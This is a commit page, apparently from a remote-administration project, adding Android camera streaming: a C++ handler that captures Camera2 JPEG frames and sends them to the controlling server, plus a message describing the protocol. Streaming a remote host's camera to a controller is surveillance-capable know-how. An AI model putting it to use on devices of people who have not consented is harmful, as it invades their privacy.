Feature: support camera streaming on Android hosts

Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader
直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG
SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转
导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧
[TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。

服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24;
DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。
BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。

注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的
运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。

验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框
后 camera stopped,服务端稳定。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
This commit is contained in:
yuanyuanxiangandClaude Code committed 2026-11-16 18:36:48 +01:00
1 parent 28c0c9a2a6
commit 998c16edc5
11 files changed
+739 -1

No files matched your search

@@ -0,0 +1,176 @@
// VideoHandlerAndroid.h - Android 摄像头管理(COMMAND_WEBCAM)
//
// 协议与 Windows 客户端一致(client/VideoManager.cpp、server/2015Remote/VideoDlg.cpp):
// [TOKEN_WEBCAM_BITMAPINFO][BITMAPINFO] 服务端据此打开视频窗口;
// 之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler:4][帧数据]。
// 与 Windows 不同的是 BITMAPINFO 不在子连接建立时立即发,而是等第一帧到达、
// 从 JPEG 的 SOF 里读出真实宽高再发(HAL 物理旋转会让宽高互换)。
//
// 与 Windows 的区别只在编码:Windows 用 VFW 的 MJPEG/H.263 编解码器,Android 相机
// 原生输出 JPEG,fccHandler 用 WEBCAM_FOURCC_JPEG_DIRECT('JPGD'),服务端走
// turbojpeg 直解,不依赖目标机安装任何编解码器。
//
// 采集与编码在 Kotlin 侧(CameraCapture.kt,Camera2 → ImageReader(JPEG)),这里只
// 负责协议封装与 JPEG 广播;帧回调从 Java 线程进入(YamaBridge.nativeOnCameraJpeg)。
#pragma once
#include <atomic>
#include <cstring>
#include <mutex>
#include <vector>
#include "common/commands.h"
#include "common/logger.h"
#include "client/IOCPClient.h"
#include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局)
#define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__)
// 由 main.cpp 实现(JNI → CameraCapture.start/stop)
bool StartJavaCamera(int* outWidth, int* outHeight);
void StopJavaCamera();
class AndroidVideoHandler : public IOCPManager
{
public:
explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {}
~AndroidVideoHandler() override { StopCapture(); }
// 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false,
// 调用方应关掉子连接并给主控回一条消息。
bool StartCapture()
{
int w = 0, h = 0;
if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false;
m_width = w;
m_height = h;
m_running.store(true, std::memory_order_release);
// BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理
// 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准,
// 服务端就不会因为尺寸对不上而丢帧黑屏。
LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h);
return true;
}
void StopCapture()
{
if (!m_running.exchange(false)) return;
StopJavaCamera();
}
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
{
if (!szBuffer || ulLength == 0) return;
switch (szBuffer[0]) {
case COMMAND_NEXT:
// 服务端视频窗口已打开
m_dialogOpen.store(true, std::memory_order_relaxed);
LOGE_V("camera dialog opened");
break;
case COMMAND_WEBCAM_ENABLECOMPRESS:
case COMMAND_WEBCAM_DISABLECOMPRESS:
// JPEG 帧始终是压缩数据,两个开关都不需要改编码路径
break;
default:
LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]);
break;
}
}
// Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程)
void SendJpeg(const uint8_t* data, size_t len)
{
IOCPClient* client = m_client;
if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0)
return;
// 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口),
// 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。
if (!m_infoSent) {
int w = m_width, h = m_height;
if (JpegDimensions(data, len, &w, &h)) {
m_width = w;
m_height = h;
}
SendBitmapInfo();
m_infoSent = true;
LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len);
} else if (!m_dialogOpen.load(std::memory_order_relaxed)) {
return;
}
const size_t head = 1 + 1 + 4;
std::vector<uint8_t> pkt(head + len);
pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB;
pkt[1] = 1; // isCompress
uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT;
memcpy(&pkt[2], &fcc, 4);
memcpy(&pkt[head], data, len);
client->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
}
int Width() const { return m_width; }
int Height() const { return m_height; }
private:
// 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。
// 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。
static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h)
{
if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false;
size_t i = 2;
while (i + 9 < n) {
if (d[i] != 0xFF) { ++i; continue; }
const uint8_t m = d[i + 1];
if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; }
if (i + 4 > n) return false;
const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3];
if (segLen < 2 || i + 2 + segLen > n) return false;
const bool isSof =
(m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) ||
(m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF);
if (isSof) {
if (segLen < 7) return false;
const int hh = ((int)d[i + 5] << 8) | d[i + 6];
const int ww = ((int)d[i + 7] << 8) | d[i + 8];
if (ww <= 0 || hh <= 0) return false;
*w = ww;
*h = hh;
return true;
}
i += 2 + segLen;
}
return false;
}
// Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。
// Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors),
// 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。
void SendBitmapInfo()
{
if (!m_client) return;
uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 };
buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO;
BmpInfoHeader hdr{};
hdr.biSize = sizeof(BmpInfoHeader);
hdr.biWidth = m_width;
hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致
hdr.biPlanes = 1;
hdr.biBitCount = 24; // 服务端解码成 BGR24
hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图
// DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释)
const int stride = (m_width * 3 + 3) & ~3;
hdr.biSizeImage = (uint32_t)(stride * m_height);
memcpy(buf + 1, &hdr, sizeof(hdr));
m_client->Send2Server((char*)buf, (ULONG)sizeof(buf));
}
IOCPClient* m_client = nullptr;
std::atomic<bool> m_running{false};
std::atomic<bool> m_dialogOpen{false};
bool m_infoSent = false;
int m_width = 0;
int m_height = 0;
};